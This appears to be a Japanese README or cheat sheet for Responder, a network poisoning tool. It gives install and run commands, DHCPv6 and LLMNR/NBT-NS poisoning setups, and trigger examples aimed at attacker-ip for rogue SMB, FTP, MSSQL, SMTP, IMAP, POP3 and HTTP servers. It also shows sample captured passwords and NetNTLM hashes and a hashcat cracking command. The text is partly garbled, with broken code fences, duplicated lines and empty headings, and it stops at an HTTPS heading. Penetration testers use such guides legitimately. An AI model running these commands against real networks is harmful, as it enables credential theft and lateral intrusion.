
Responderは、LLMNR、NBT-NS、MDNSポイズナーであり、NTLMv1/NTLMv2/LMv2、拡張セキュリティNTLMSSP、およびBasic HTTP認証をサポートする組み込みのHTTP/SMB/MSSQL/FTP/LDAP不正認証サーバーを備えています。
Responder は、LLMNR、NBT-NS、MDNS ポイズナーで、HTTP、SMB、MSSQL、FTP、LDAP、Kerberos、DNS などのための組み込みの不正認証サーバーを備えています。NTLMv1/NTLMv2/LMv2、拡張セキュリティ NTLMSSP、および15以上のプロトコルにわたるさまざまな認証方式をサポートしています。
Responderは、LLMNR、NBT-NS、MDNSの名前解決要求に応答して資格情報を取得します。クライアントが存在しないホスト名を解決しようとすると、Responderが応答し、クライアントを攻撃者のマシンに誘導します。そこでは複数の不正認証サーバーが資格情報を取得します。DHCP、DHCPv6の不正サーバーも含まれており、個別に有効化できます。
取得データ:
このバージョンには以下が含まれます:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### Responderのインストール```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## クイックスタート
### 基本的なポイズニング```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### HTTP Basic認証の強制```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## ネットワークポイズニング
### LLMNR/NBT-NS/MDNS ポイズニング
**目的:** 名前解決の失敗に応答する
**動作の仕組み:**
1. クライアントが存在しないホストに対してブロードキャストクエリを送信
2. レスポンダーが「私がそのホストです」と応答
3. クライアントが攻撃者に接続
4. 資格情報が取得される
**設定:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
使用方法:```bash sudo python3 Responder.py -I eth0 -v
---
### DHCPv6 Server
**目的:** IPv6経由で攻撃者のDNSを使用するようクライアントに強制
**機能:**
- ✅ INFORMATION-REQUEST サポート (Windows 10/11)
- ✅ SOLICIT/REQUEST サポート
- ✅ ドメインフィルタリング (精密なターゲット指定)
- ✅ Router Advertisement (オプション)
**動作原理:**
1. WindowsがDHCPv6 INFORMATION-REQUEST、SOLICIT、REQUESTを送信
2. Responderが応答: DNS = 攻撃者のIPv6
3. WindowsがIPv6 DNSを優先
4. すべてのDNSクエリ → 攻撃者
5. DNSポイズニング → 認証情報の取得
**設定:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
使用法:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**期待される出力:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responderには17以上の不正認証サーバが含まれています:
目的: ファイル共有からNetNTLMハッシュを取得
機能:
トリガー:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**キャプチャ形式:**```
username::domain:challenge:response:blob
クラッキング:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**設定:**```ini
[Responder Core]
SMB = On
目的: 平文のFTP認証情報をキャプチャ
特徴:
トリガー:```bash ftp attacker-ip
**取得形式:**```
[FTP] Cleartext: username:password
構成:```ini [Responder Core] FTP = On
---
### データベースサーバー
#### MSSQL Server (ポート 1433)
**目的:** Microsoft SQL Server 認証のキャプチャ
**機能:**
- ✅ SQL Server 認証
- ✅ Windows 認証 (NTLM)
- ✅ 平文の SQL 資格情報
- ✅ NetNTLMv2 ハッシュキャプチャ
**トリガー:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
キャプチャされたフォーマット:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**設定:**```ini
[Responder Core]
SQL = On
注記:
目的: メールクライアント認証のキャプチャ
機能:
STARTTLSフロー:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**トリガー:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
キャプチャされたフォーマット:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**設定:**```ini
[Responder Core]
SMTP = On
Certificate Warnings: 自己署名証明書の警告は正常です。クライアントは最初の試行を拒否し、再試行し、成功します。認証情報は依然として取得されます。
目的: STARTTLSを使用したIMAP認証のキャプチャ
機能:
STARTTLSフロー:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**設定:**```ini
[Responder Core]
IMAP = On
目的: IMAP over SSL (ネイティブ暗号化)
機能:
IMAPとの違い:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**設定:**```ini
[Responder Core]
IMAPS = On
目的: POP3 メール取得認証情報のキャプチャ
機能:
トリガー:``` Email client:
**キャプチャ形式:**```
[POP3] USER: username
[POP3] PASS: password
設定:```ini [Responder Core] POP = On
---
### Webサーバー
#### HTTPサーバー (Port 80)
**目的:** Web認証のキャプチャ
**機能:**
- ✅ NTLM認証 (NetNTLMv1/v2)
- ✅ Basic認証 (平文)
- ✅ Digest認証 (MD5)
- ✅ WPADインジェクション
**トリガー:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Basic認証の強制:```bash sudo python3 Responder.py -I eth0 -b
**キャプチャされたフォーマット:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
設定:```ini [Responder Core] HTTP = On
---
#### HTTPSサーバー (ポート443)